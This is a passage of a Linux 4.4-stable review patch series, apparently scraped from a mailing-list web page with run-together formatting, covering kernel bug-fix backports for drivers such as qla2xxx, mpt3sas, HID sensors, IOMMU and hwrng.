@@ -95,7 +106,7 @@ static int __init toshiba_wmi_input_setureturn 0 ; err_remove_notifier: -wmi_remove_notify_handler (TOSHIBA_WMI_EVENT_GUID ); +wmi_remove_notify_handler (WMI_EVENT_GUID ); err_free_keymap:sparse_keymap_free (toshiba_wmi_input_dev); err_free_dev:
@@ -105,7 +116,7 @@ static int __init toshiba_wmi_input_setustatic void toshiba_wmi_input_destroy (void ) { -wmi_remove_notify_handler (TOSHIBA_WMI_EVENT_GUID ); +wmi_remove_notify_handler (WMI_EVENT_GUID );sparse_keymap_free (toshiba_wmi_input_dev);input_unregister_device (toshiba_wmi_input_dev); }
@@ -114,7 +125,8 @@ static int __init toshiba_wmi_init(void) {int ret; -if (!wmi_has_guid (TOSHIBA_WMI_EVENT_GUID )) +if (!wmi_has_guid (WMI_EVENT_GUID ) || + !dmi_check_system (toshiba_wmi_dmi_table))return -ENODEV ; ret =toshiba_wmi_input_setup ();
@@ -130,7 +142,7 @@ static int __init toshiba_wmi_init(void) static void __exit toshiba_wmi_exit(void) { -if (wmi_has_guid (TOSHIBA_WMI_EVENT_GUID )) +if (wmi_has_guid (WMI_EVENT_GUID ))toshiba_wmi_input_destroy (); }
Greg Kroah-Hartman
maintainerPATCH 19/38 clk: qoriq: Dont allow CPU clocks higher than starting value
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Scott Wood <[email protected]>
commit 7c1c5413a7bdf1c9adc8d979521f1b8286366aef upstream.
The boot-time frequency of a CPU is considered its rated maximum, as we have no other source of such information. However, this was previously only used for chips with 80% restrictions on secondary PLLs. This usually wasn't a problem because most chips/configs boot with a divider of /1, with other dividers being used only for dynamic frequency reduction. However, at least one config (LS1021A at less than 1 GHz) uses a different divider for top speed. This was causing cpufreq to set a frequency beyond the chip's rated speed.
This is fixed by applying a 100%-of-initial-speed limit to all CPU PLLs, similar to the existing 80% limit that only applied to some.
--- drivers/clk/clk-qoriq.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-)
drivers/clk/clk-qoriq.c +8 -5
@@ -700,6 +700,7 @@ static struct clk * __init create_mux_costruct mux_hwclock *hwc, const struct clk_ops *ops, unsigned long min_rate, + unsigned long max_rate, unsigned long pct80_rate, const char *fmt, int idx) {
@@ -728,6 +729,8 @@ static struct clk * __init create_mux_cocontinue ;if (rate < min_rate)continue ; +if (rate > max_rate) +continue ; parent_names[j] = div->name; hwc->parent_to_clksel[j] = i;
@@ -759,7 +762,7 @@ static struct clk * __init create_one_cmstruct mux_hwclock *hwc;const struct clockgen_pll_div *div;unsigned long plat_rate, min_rate; -u64 pct80_rate; +u64 max_rate, pct80_rate;u32 clksel; hwc =kzalloc (sizeof (*hwc),GFP_KERNEL );
@@ -787,8 +790,8 @@ static struct clk * __init create_one_cmreturn NULL ; } - pct80_rate =clk_get_rate (div->clk); - pct80_rate *=8 ; + max_rate =clk_get_rate (div->clk); + pct80_rate = max_rate *8 ;do_div (pct80_rate,10 ); plat_rate =clk_get_rate (cg->pll[PLATFORM_PLL ].div[PLL_DIV1 ].clk);
@@ -798,7 +801,7 @@ static struct clk * __init create_one_cmelse min_rate = plat_rate /2 ; -return create_mux_common (cg, hwc, &cmux_ops, min_rate, +return create_mux_common (cg, hwc, &cmux_ops, min_rate, max_rate, pct80_rate,"cg-cmux%d" , idx); }
@@ -813,7 +816,7 @@ static struct clk * __init create_one_hw hwc->reg = cg->regs +0x20 * idx +0x10 ; hwc->info = cg->info.hwaccel[idx]; -return create_mux_common (cg, hwc, &hwaccel_ops,0 ,0 , +return create_mux_common (cg, hwc, &hwaccel_ops,0 ,ULONG_MAX ,0 ,"cg-hwaccel%d" , idx); }
Greg Kroah-Hartman
maintainerPATCH 20/38 iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation.
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Song Hongyan <[email protected]>
commit 6f77199e9e4b84340c751c585691d7642a47d226 upstream.
While testing, it was observed that on some platforms the scale value from iio sysfs for gyroscope is always 0 (E.g. Yoga 260). This results in the final angular velocity component values to be zeros.
This is caused by insufficient precision of scale value displayed in sysfs. If the precision is changed to nano from current micro, then this is sufficient to display the scale value on this platform.
Since this can be a problem for all other HID sensors, increase scale precision of all HID sensors to nano from current micro.
Results on Yoga 260:
name scale before scale now
--------------------------------------------gyro_3d 0.000000 0.000000174
als 0.001000 0.001000000magn_3d 0.000001 0.000001000accel_3d 0.000009 0.000009806
--- drivers/iio/common/hid-sensors/hid-sensor-attributes.c | 56 ++++++++--------- 1 file changed, 28 insertions(+), 28 deletions(-)
drivers/iio/common/hid-sensors/hid-sensor-attributes.c +28 -28
@@ -30,26 +30,26 @@ static struct {u32 usage_id;int unit;/* 0 for default others from HID sensor spec */ int scale_val0;/* scale, whole number */ -int scale_val1;/* scale, fraction in micros */ +int scale_val1;/* scale, fraction in nanos */ } unit_conversion[] = { - {HID_USAGE_SENSOR_ACCEL_3D, 0, 9, 806650}, + {HID_USAGE_SENSOR_ACCEL_3D, 0, 9, 806650000}, {HID_USAGE_SENSOR_ACCEL_3D, HID_USAGE_SENSOR_UNITS_METERS_PER_SEC_SQRD, 1, 0}, {HID_USAGE_SENSOR_ACCEL_3D, - HID_USAGE_SENSOR_UNITS_G, 9, 806650}, + HID_USAGE_SENSOR_UNITS_G, 9, 806650000}, - {HID_USAGE_SENSOR_GYRO_3D, 0, 0, 17453}, + {HID_USAGE_SENSOR_GYRO_3D, 0, 0, 17453293}, {HID_USAGE_SENSOR_GYRO_3D, HID_USAGE_SENSOR_UNITS_RADIANS_PER_SECOND, 1, 0}, {HID_USAGE_SENSOR_GYRO_3D, - HID_USAGE_SENSOR_UNITS_DEGREES_PER_SECOND, 0, 17453}, + HID_USAGE_SENSOR_UNITS_DEGREES_PER_SECOND, 0, 17453293}, - {HID_USAGE_SENSOR_COMPASS_3D, 0, 0, 1000}, + {HID_USAGE_SENSOR_COMPASS_3D, 0, 0, 1000000}, {HID_USAGE_SENSOR_COMPASS_3D, HID_USAGE_SENSOR_UNITS_GAUSS, 1, 0}, - {HID_USAGE_SENSOR_INCLINOMETER_3D, 0, 0, 17453}, + {HID_USAGE_SENSOR_INCLINOMETER_3D, 0, 0, 17453293}, {HID_USAGE_SENSOR_INCLINOMETER_3D, - HID_USAGE_SENSOR_UNITS_DEGREES, 0, 17453}, + HID_USAGE_SENSOR_UNITS_DEGREES, 0, 17453293}, {HID_USAGE_SENSOR_INCLINOMETER_3D, HID_USAGE_SENSOR_UNITS_RADIANS, 1, 0},
@@ -57,7 +57,7 @@ static struct { {HID_USAGE_SENSOR_ALS, HID_USAGE_SENSOR_UNITS_LUX, 1, 0}, {HID_USAGE_SENSOR_PRESSURE, 0, 100, 0}, - {HID_USAGE_SENSOR_PRESSURE, HID_USAGE_SENSOR_UNITS_PASCAL, 0, 1000}, + {HID_USAGE_SENSOR_PRESSURE, HID_USAGE_SENSOR_UNITS_PASCAL, 0, 1000000}, };static int pow_10 (unsigned power)
@@ -266,15 +266,15 @@ EXPORT_SYMBOL(hid_sensor_write_raw_hyst_/* * This fuction applies the unit exponent to the scale. * For example: -* 9.806650 ->exp:2-> val0[980]val1[665000] -* 9.000806 ->exp:2-> val0[900]val1[80600] -* 0.174535 ->exp:2-> val0[17]val1[453500] -* 1.001745 ->exp:0-> val0[1]val1[1745] -* 1.001745 ->exp:2-> val0[100]val1[174500] -* 1.001745 ->exp:4-> val0[10017]val1[450000] -* 9.806650 ->exp:-2-> val0[0]val1[98066] +* 9.806650000 ->exp:2-> val0[980]val1[665000000] +* 9.000806000 ->exp:2-> val0[900]val1[80600000] +* 0.174535293 ->exp:2-> val0[17]val1[453529300] +* 1.001745329 ->exp:0-> val0[1]val1[1745329] +* 1.001745329 ->exp:2-> val0[100]val1[174532900] +* 1.001745329 ->exp:4-> val0[10017]val1[453290000] +* 9.806650000 ->exp:-2-> val0[0]val1[98066500] */ -static void adjust_exponent_micro (int *val0,int *val1,int scale0, +static void adjust_exponent_nano (int *val0,int *val1,int scale0,int scale1,int exp) {int i;
@@ -285,32 +285,32 @@ static void adjust_exponent_micro(int *vif (exp >0 ) { *val0 = scale0 *pow_10 (exp); res =0 ; -if (exp >6 ) { +if (exp >9 ) { *val1 =0 ;return ; }for (i =0 ; i < exp; ++i) { - x = scale1 /pow_10 (5 - i); + x = scale1 /pow_10 (8 - i); res += (pow_10 (exp -1 - i) * x); - scale1 = scale1 %pow_10 (5 - i); + scale1 = scale1 %pow_10 (8 - i); } *val0 += res; *val1 = scale1 *pow_10 (exp); }else if (exp <0 ) { exp =abs (exp); -if (exp >6 ) { +if (exp >9 ) { *val0 = *val1 =0 ;return ; } *val0 = scale0 /pow_10 (exp); rem = scale0 %pow_10 (exp); res =0 ; -for (i =0 ; i < (6 - exp); ++i) { - x = scale1 /pow_10 (5 - i); - res += (pow_10 (5 - exp - i) * x); - scale1 = scale1 %pow_10 (5 - i); +for (i =0 ; i < (9 - exp); ++i) { + x = scale1 /pow_10 (8 - i); + res += (pow_10 (8 - exp - i) * x); + scale1 = scale1 %pow_10 (8 - i); } - *val1 = rem *pow_10 (6 - exp) + res; + *val1 = rem *pow_10 (9 - exp) + res; }else { *val0 = scale0; *val1 = scale1;
@@ -332,14 +332,14 @@ int hid_sensor_format_scale(u32 usage_id unit_conversion[i].unit == attr_info->units) { exp =hid_sensor_convert_exponent ( attr_info->unit_expo); -adjust_exponent_micro (val0, val1, +adjust_exponent_nano (val0, val1, unit_conversion[i].scale_val0, unit_conversion[i].scale_val1, exp);break ; } } -return IIO_VAL_INT_PLUS_MICRO ; +return IIO_VAL_INT_PLUS_NANO ; }EXPORT_SYMBOL (hid_sensor_format_scale);
Greg Kroah-Hartman
maintainerPATCH 21/38 iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver)
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Song Hongyan <[email protected]>
commit 8af644a7d6846f48d6b72be5d4a3c6eb16bd33c8 upstream.
This fix makes newer ISH hubs work. Previous ones worked by lucky coincidence.
Rotation sensor function does not work due to miss PM function. Add common hid sensor iio pm function for rotation sensor.
Further clarification from Srinivas:
If CONFIG_PM is not defined, then this prevents this sensor to function. So above commit caused this.
This sensor was supposed to be always on to trigger wake up in prior external hubs. But with the new ISH hub this is not the case.
--- drivers/iio/orientation/hid-sensor-rotation.c | 1 + 1 file changed, 1 insertion(+)
drivers/iio/orientation/hid-sensor-rotation.c +1 -0
@@ -335,6 +335,7 @@ static struct platform_driver hid_dev_ro .id_table = hid_dev_rot_ids, .driver = { .name = KBUILD_MODNAME, + .pm = &hid_sensor_pm_ops, }, .probe = hid_dev_rot_probe, .remove = hid_dev_rot_remove,
Greg Kroah-Hartman
maintainerPATCH 22/38 scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bill Kuzeja <[email protected]>
commit a5dd506e1584e91f3e7500ab9a165aa1b49eabd4 upstream.
A system can get hung task timeouts if a qlogic board fails during initialization (if the board breaks again or fails the init). The hang involves the scsi scan.
In a nutshell, since commit beb9e315e6e0 ("qla2xxx: Prevent removal and board_disable race"):
...it is possible to have freed ha (base_vha->hw) early by a call to qla2x00_remove_one when pdev->enable_cnt equals zero:
if (!atomic_read(&pdev->enable_cnt)) {
scsi_host_put(base_vha->host);
kfree(ha);
pci_set_drvdata(pdev, NULL);
return;Almost always, the scsi_host_put above frees the vha structure (attached to the end of the Scsi_Host we're putting) since it's the last put, and life is good. However, if we are entering this routine because the adapter has broken sometime during initialization AND a scsi scan is already in progress (and has done its own scsi_host_get), vha will not be freed. What's worse, the scsi scan will access the freed ha structure through qla2xxx_scan_finished:
if (time > vha->hw->loop_reset_delay * HZ)
return 1;The scsi scan keeps checking to see if a scan is complete by calling qla2xxx_scan_finished. There is a timeout value that limits the length of time a scan can take (hw->loop_reset_delay, usually set to 5 seconds), but this definition is in the data structure (hw) that can get freed early.
This can yield unpredictable results, the worst of which is that the scsi scan can hang indefinitely. This happens when the freed structure gets reused and loop_reset_delay gets overwritten with garbage, which the scan obliviously uses as its timeout value.
The fix for this is simple: at the top of qla2xxx_scan_finished, check for the UNLOADING bit in the vha structure (_vha is not freed at this point). If UNLOADING is set, we exit the scan for this adapter immediately. After this last reference to the ha structure, we'll exit the scan for this adapter, and continue on.
This problem is hard to hit, but I have run into it doing negative testing many times now (with a test specifically designed to bring it out), so I can verify that this fix works. My testing has been against a RHEL7 driver variant, but the bug and patch are equally relevant to to the upstream driver.
--- drivers/scsi/qla2xxx/qla_os.c | 2 ++ 1 file changed, 2 insertions(+)
drivers/scsi/qla2xxx/qla_os.c +2 -0
@@ -2257,6 +2257,8 @@ qla2xxx_scan_finished(struct Scsi_Host * {scsi_qla_host_t *vha =shost_priv (shost); +if (test_bit (UNLOADING , &vha->dpc_flags)) +return 1 ;if (!vha->host)return 1 ;if (time > vha->hw->loop_reset_delay *HZ )
Greg Kroah-Hartman
maintainerPATCH 23/38 scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sreekanth Reddy <[email protected]>
commit 6d3a56ed098566bc83d6c2afa74b4199c12ea074 upstream.
While merging mpt3sas & mpt2sas code, we added the is_warpdrive check condition on the wrong line
---------------------------------------------------------------------------
scsih_target_alloc(struct scsi_target *starget)
sas_target_priv_data->handle = raid_device->handle;
sas_target_priv_data->sas_address = raid_device->wwid;
sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME;
- raid_device->starget = starget;
+ sas_target_priv_data->raid_device = raid_device;
+ if (ioc->is_warpdrive)
+ raid_device->starget = starget;
}
spin_unlock_irqrestore(&ioc->raid_device_lock, flags);
return 0;------------------------------------------------------------------------------
That check should be for the line sas_target_priv_data->raid_device = raid_device;
Due to above hunk, we are not initializing raid_device's starget for raid volumes, and so during raid disk deletion driver is not calling scsi_remove_target() API as driver observes starget field of raid_device's structure as NULL.
--- drivers/scsi/mpt3sas/mpt3sas_scsih.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/scsi/mpt3sas/mpt3sas_scsih.c +2 -2
@@ -1275,9 +1275,9 @@ scsih_target_alloc(struct scsi_target *s sas_target_priv_data->handle = raid_device->handle; sas_target_priv_data->sas_address = raid_device->wwid; sas_target_priv_data->flags |=MPT_TARGET_FLAGS_VOLUME ; - sas_target_priv_data->raid_device = raid_device;if (ioc->is_warpdrive) - raid_device->starget = starget; + sas_target_priv_data->raid_device = raid_device; + raid_device->starget = starget; }spin_unlock_irqrestore (&ioc->raid_device_lock, flags);return 0 ;
Greg Kroah-Hartman
maintainerPATCH 24/38 KVM: MIPS: Precalculate MMIO load resume PC
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: James Hogan <[email protected]>
commit e1e575f6b026734be3b1f075e780e91ab08ca541 upstream.
The advancing of the PC when completing an MMIO load is done before re-entering the guest, i.e. before restoring the guest ASID. However if the load is in a branch delay slot it may need to access guest code to read the prior branch instruction. This isn't safe in TLB mapped code at the moment, nor in the future when we'll access unmapped guest segments using direct user accessors too, as it could read the branch from host user memory instead.
Therefore calculate the resume PC in advance while we're still in the right context and save it in the new vcpu->arch.io_pc (replacing the no longer needed vcpu->arch.pending_load_cause), and restore it on MMIO completion.
--- arch/mips/include/asm/kvm_host.h | 7 ++++--- arch/mips/kvm/emulate.c | 24 +++++++++++++++--------- 2 files changed, 19 insertions(+), 12 deletions(-)
arch/mips/include/asm/kvm_host.h +4 -3
@@ -400,7 +400,10 @@ struct kvm_vcpu_arch {/* Host KSEG0 address of the EI/DI offset */ void *kseg0_commpage; -u32 io_gpr;/* GPR used as IO source/target */ +/* Resume PC after MMIO completion */ +unsigned long io_pc; +/* GPR used as IO source/target */ +u32 io_gpr;struct hrtimer comparecount_timer;/* Count timer control KVM register */
@@ -422,8 +425,6 @@ struct kvm_vcpu_arch {/* Bitmask of pending exceptions to be cleared */ unsigned long pending_exceptions_clr; -unsigned long pending_load_cause; -/* Save/Restore the entryhi register when are are preempted/scheduled back in */ unsigned long preempt_entryhi;
arch/mips/kvm/emulate.c +15 -9
@@ -1473,6 +1473,7 @@ enum emulation_result kvm_mips_emulate_l struct kvm_vcpu *vcpu) {enum emulation_result er =EMULATE_DO_MMIO ; +unsigned long curr_pc;int32_t op, base, rt, offset;uint32_t bytes;
@@ -1481,7 +1482,18 @@ enum emulation_result kvm_mips_emulate_l offset = inst &0xffff ; op = (inst >>26 ) &0x3f ; - vcpu->arch.pending_load_cause = cause; +/* +* Find the resume PC now while we have safe and easy access to the +* prior branch instruction, and save it for +* kvm_mips_complete_mmio_load() to restore later. +*/ + curr_pc = vcpu->arch.pc; + er =update_pc (vcpu, cause); +if (er ==EMULATE_FAIL ) +return er; + vcpu->arch.io_pc = vcpu->arch.pc; + vcpu->arch.pc = curr_pc; + vcpu->arch.io_gpr = rt;switch (op) {
@@ -2461,9 +2473,8 @@ enum emulation_result kvm_mips_complete_ goto done; } - er =update_pc (vcpu, vcpu->arch.pending_load_cause); -if (er ==EMULATE_FAIL ) -return er; +/* Restore saved resume PC */ + vcpu->arch.pc = vcpu->arch.io_pc;switch (run->mmio.len) {case 4 :
@@ -2485,11 +2496,6 @@ enum emulation_result kvm_mips_complete_break ; } -if (vcpu->arch.pending_load_cause &CAUSEF_BD ) -kvm_debug ("[%#lx] Completing %d byte BD Load to gpr %d (0x%08lx) type %d\n" , - vcpu->arch.pc, run->mmio.len, vcpu->arch.io_gpr, *gpr, - vcpu->mmio_needed); - done:return er; }
Greg Kroah-Hartman
maintainerPATCH 26/38 dmaengine: at_xdmac: fix spurious flag status for mem2mem transfers
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ludovic Desroches <[email protected]>
commit 95da0c19d164f6df0b71a5187950f47d4b746e91 upstream.
When setting the channel configuration register, the perid field is not set to 0 since it is useless for mem2mem transfers. Unfortunately, a device has 0 as perid. It could cause spurious flags status because the controller could mix some events from the two channels.
For that reason, use the highest perid value for mem2mem transfers since it doesn't match the perid of other devices.
--- drivers/dma/at_xdmac.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-)
drivers/dma/at_xdmac.c +15 -3
@@ -864,8 +864,12 @@ at_xdmac_interleaved_queue_desc(struct d* access. Hopefully we can access DDR through both ports (at least on * SAMA5D4x), so we can use the same interface for source and dest, * that solves the fact we don't know the direction. +* ERRATA: Even if useless for memory transfers, the PERID has to not +* match the one of another channel. If not, it could lead to spurious +* flag status. */ -u32 chan_cc =AT_XDMAC_CC_DIF (0 ) +u32 chan_cc =AT_XDMAC_CC_PERID (0x3f ) + |AT_XDMAC_CC_DIF (0 ) |AT_XDMAC_CC_SIF (0 ) |AT_XDMAC_CC_MBSIZE_SIXTEEN |AT_XDMAC_CC_TYPE_MEM_TRAN ;
@@ -1042,8 +1046,12 @@ at_xdmac_prep_dma_memcpy(struct dma_chan* access DDR through both ports (at least on SAMA5D4x), so we can use * the same interface for source and dest, that solves the fact we * don't know the direction. +* ERRATA: Even if useless for memory transfers, the PERID has to not +* match the one of another channel. If not, it could lead to spurious +* flag status. */ -u32 chan_cc =AT_XDMAC_CC_DAM_INCREMENTED_AM +u32 chan_cc =AT_XDMAC_CC_PERID (0x3f ) + |AT_XDMAC_CC_DAM_INCREMENTED_AM |AT_XDMAC_CC_SAM_INCREMENTED_AM |AT_XDMAC_CC_DIF (0 ) |AT_XDMAC_CC_SIF (0 )
@@ -1144,8 +1152,12 @@ static struct at_xdmac_desc *at_xdmac_me* access. Hopefully we can access DDR through both ports (at least on * SAMA5D4x), so we can use the same interface for source and dest, * that solves the fact we don't know the direction. +* ERRATA: Even if useless for memory transfers, the PERID has to not +* match the one of another channel. If not, it could lead to spurious +* flag status. */ -u32 chan_cc =AT_XDMAC_CC_DAM_UBS_AM +u32 chan_cc =AT_XDMAC_CC_PERID (0x3f ) + |AT_XDMAC_CC_DAM_UBS_AM |AT_XDMAC_CC_SAM_INCREMENTED_AM |AT_XDMAC_CC_DIF (0 ) |AT_XDMAC_CC_SIF (0 )
Greg Kroah-Hartman
maintainerPATCH 28/38 iommu/amd: Free domain id when free a domain of struct dma_ops_domain
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Baoquan He <[email protected]>
commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream.
The current code missed freeing domain id when free a domain of struct dma_ops_domain.
--- drivers/iommu/amd_iommu.c | 3 +++ 1 file changed, 3 insertions(+)
drivers/iommu/amd_iommu.c +3 -0
@@ -1833,6 +1833,9 @@ static void dma_ops_domain_free(struct dkfree (dom->aperture[i]); } +if (dom->domain.id) +domain_id_free (dom->domain.id); +kfree (dom); }
Greg Kroah-Hartman
maintainerPATCH 29/38 iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Joerg Roedel <[email protected]>
commit bea64033dd7b5fb6296eda8266acab6364ce1554 upstream.
It turns out that the disable_dmar_iommu() code-path tried to get the device_domain_lock recursivly, which will dead-lock when this code runs on dmar removal. Fix both code-paths that could lead to the dead-lock.
--- drivers/iommu/intel-iommu.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-)
drivers/iommu/intel-iommu.c +12 -2
@@ -1672,6 +1672,7 @@ static void disable_dmar_iommu(struct inif (!iommu->domains || !iommu->domain_ids)return ; +again:spin_lock_irqsave (&device_domain_lock, flags);list_for_each_entry_safe (info, tmp, &device_domain_list, global) {struct dmar_domain *domain;
@@ -1684,10 +1685,19 @@ static void disable_dmar_iommu(struct in domain = info->domain; -dmar_remove_one_dev_info (domain, info->dev); +__dmar_remove_one_dev_info (info); -if (!domain_type_is_vm_or_si (domain)) +if (!domain_type_is_vm_or_si (domain)) { +/* +* The domain_exit() function can't be called under +* device_domain_lock, as it takes this lock itself. +* So release the lock here and re-run the loop +* afterwards. +*/ +spin_unlock_irqrestore (&device_domain_lock, flags);domain_exit (domain); + goto again; + } }spin_unlock_irqrestore (&device_domain_lock, flags);
Greg Kroah-Hartman
maintainerPATCH 30/38 mei: bus: fix received data size check in NFC fixup
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Usyskin <[email protected]>
commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream.
NFC version reply size checked against only header size, not against full message size. That may lead potentially to uninitialized memory access in version data.
That leads to warnings when version data is accessed:drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]: => 212:2
Reported in
Build regressions/improvements in v4.9-rc3
https://lkml.org/lkml/2016/10/30/57
--- drivers/misc/mei/bus-fixup.c | 2 +- drivers/nfc/mei_phy.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-)
drivers/misc/mei/bus-fixup.c +1 -1
@@ -151,7 +151,7 @@ static int mei_nfc_if_version(struct mei ret =0 ; bytes_recv =__mei_cl_recv (cl, (u8 *)reply, if_version_length); -if (bytes_recv <0 || bytes_recv <sizeof (struct mei_nfc_reply )) { +if (bytes_recv < if_version_length) {dev_err (bus->dev,"Could not read IF version\n" ); ret = -EIO ; goto err;
drivers/nfc/mei_phy.c +1 -1
@@ -133,7 +133,7 @@ static int mei_nfc_if_version(struct nfcreturn -ENOMEM ; bytes_recv =mei_cldev_recv (phy->cldev, (u8 *)reply, if_version_length); -if (bytes_recv <0 || bytes_recv <sizeof (struct mei_nfc_reply )) { +if (bytes_recv <0 || bytes_recv < if_version_length) {pr_err ("Could not read IF version\n" ); r = -EIO ; goto err;
Greg Kroah-Hartman
maintainerPATCH 31/38 lib/genalloc.c: start search from start of chunk
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daniel Mentz <[email protected]>
commit 62e931fac45b17c2a42549389879411572f75804 upstream.
gen_pool_alloc_algo() iterates over the chunks of a pool trying to find a contiguous block of memory that satisfies the allocation request.
The shortcut
if (size > atomic_read(&chunk->avail)) continue;
makes the loop skip over chunks that do not have enough bytes left to fulfill the request. There are two situations, though, where an allocation might still fail:
(1) The available memory is not contiguous, i.e. the request cannot be fulfilled due to external fragmentation.
(2) A race condition. Another thread runs the same code concurrently and is quicker to grab the available memory.
In those situations, the loop calls pool->algo() to search the entire chunk, and pool->algo() returns some value that is >= end_bit to indicate that the search failed. This return value is then assigned to start_bit. The variables start_bit and end_bit describe the range that should be searched, and this range should be reset for every chunk that is searched. Today, the code fails to reset start_bit to 0. As a result, prefixes of subsequent chunks are ignored. Memory allocations might fail even though there is plenty of room left in these prefixes of those other chunks.
--- lib/genalloc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
lib/genalloc.c +2 -1
@@ -273,7 +273,7 @@ unsigned long gen_pool_alloc(struct gen_struct gen_pool_chunk *chunk;unsigned long addr =0 ;int order = pool->min_alloc_order; -int nbits, start_bit =0 , end_bit, remain; +int nbits, start_bit, end_bit, remain;#ifndef CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG BUG_ON (in_nmi ());
@@ -288,6 +288,7 @@ unsigned long gen_pool_alloc(struct gen_if (size >atomic_read (&chunk->avail))continue ; + start_bit =0 ; end_bit =chunk_size (chunk) >> order; retry: start_bit = pool->algo(chunk->bits, end_bit, start_bit, nbits,
Greg Kroah-Hartman
maintainerPATCH 32/38 hwrng: core - Dont use a stack buffer in add_early_randomness()
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Andrew Lutomirski <[email protected]>
commit 6d4952d9d9d4dc2bb9c0255d95a09405a1e958f7 upstream.
hw_random carefully avoids using a stack buffer except in add_early_randomness(). This causes a crash in virtio_rng if CONFIG_VMAP_STACK=y.
--- drivers/char/hw_random/core.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
drivers/char/hw_random/core.c +3 -3
@@ -84,14 +84,14 @@ static size_t rng_buffer_size(void)static void add_early_randomness (struct hwrng *rng) { -unsigned char bytes[16 ];int bytes_read; +size_t size =min_t (size_t,16 ,rng_buffer_size ());mutex_lock (&reading_mutex); - bytes_read =rng_get_data (rng, bytes,sizeof (bytes),1 ); + bytes_read =rng_get_data (rng, rng_buffer, size,1 );mutex_unlock (&reading_mutex);if (bytes_read >0 ) -add_device_randomness (bytes, bytes_read); +add_device_randomness (rng_buffer, bytes_read); }static inline void cleanup_rng (struct kref *kref)
Greg Kroah-Hartman
maintainerPATCH 33/38 i40e: fix call of ndo_dflt_bridge_getlink()
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Huaibin Wang <[email protected]>
commit 599b076d15ee3ead7af20fc907079df00b2d59a0 upstream.
Order of arguments is wrong.
The wrong code has been introduced by commit 7d4f8d871ab1, but is compiled only since commit 9df70b66418e.
Note that this may break netlink dumps.
--- drivers/net/ethernet/intel/i40e/i40e_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/ethernet/intel/i40e/i40e_main.c +1 -1
@@ -8595,7 +8595,7 @@ static int i40e_ndo_bridge_getlink(strucreturn 0 ;return ndo_dflt_bridge_getlink (skb, pid, seq, dev, veb->bridge_mode, - nlflags,0 ,0 , filter_mask,NULL ); +0 ,0 , nlflags, filter_mask,NULL ); }#define I40E_MAX_TUNNEL_HDR_LEN 80
Greg Kroah-Hartman
maintainerPATCH 34/38 ACPI / APEI: Fix incorrect return value of ghes_proc()
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Punit Agrawal <[email protected]>
commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream.
Although ghes_proc() tests for errors while reading the error status, it always return success (0). Fix this by propagating the return value.
--- drivers/acpi/apei/ghes.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/acpi/apei/ghes.c +1 -1
@@ -657,7 +657,7 @@ static int ghes_proc(struct ghes *ghes)ghes_do_proc (ghes, ghes->estatus); out:ghes_clear_estatus (ghes); -return 0 ; +return rc; }static void ghes_add_timer (struct ghes *ghes)
Greg Kroah-Hartman
maintainerPATCH 35/38 ASoC: sun4i-codec: return error code instead of NULL when create_card fails
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chen-Yu Tsai <[email protected]>
commit 85915b63ad8b796848f431b66c9ba5e356e722e5 upstream.
When sun4i_codec_create_card fails, we do not assign a proper error code to the return value. The return value would be 0 from the previous function call, or we would have bailed out sooner. This would confuse the driver core into thinking the device probe succeeded, when in fact it didn't, leaving various devres based resources lingering.
Make the create_card function pass back a meaningful error code, and assign it to the return value.
early Allwinner SoCs")
--- sound/soc/sunxi/sun4i-codec.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
sound/soc/sunxi/sun4i-codec.c +4 -3
@@ -575,11 +575,11 @@ static struct snd_soc_card *sun4i_codec_ card =devm_kzalloc (dev,sizeof (*card),GFP_KERNEL );if (!card) -return NULL ; +return ERR_PTR (-ENOMEM ); card->dai_link =sun4i_codec_create_link (dev, &card->num_links);if (!card->dai_link) -return NULL ; +return ERR_PTR (-ENOMEM ); card->dev = dev; card->name ="sun4i-codec" ;
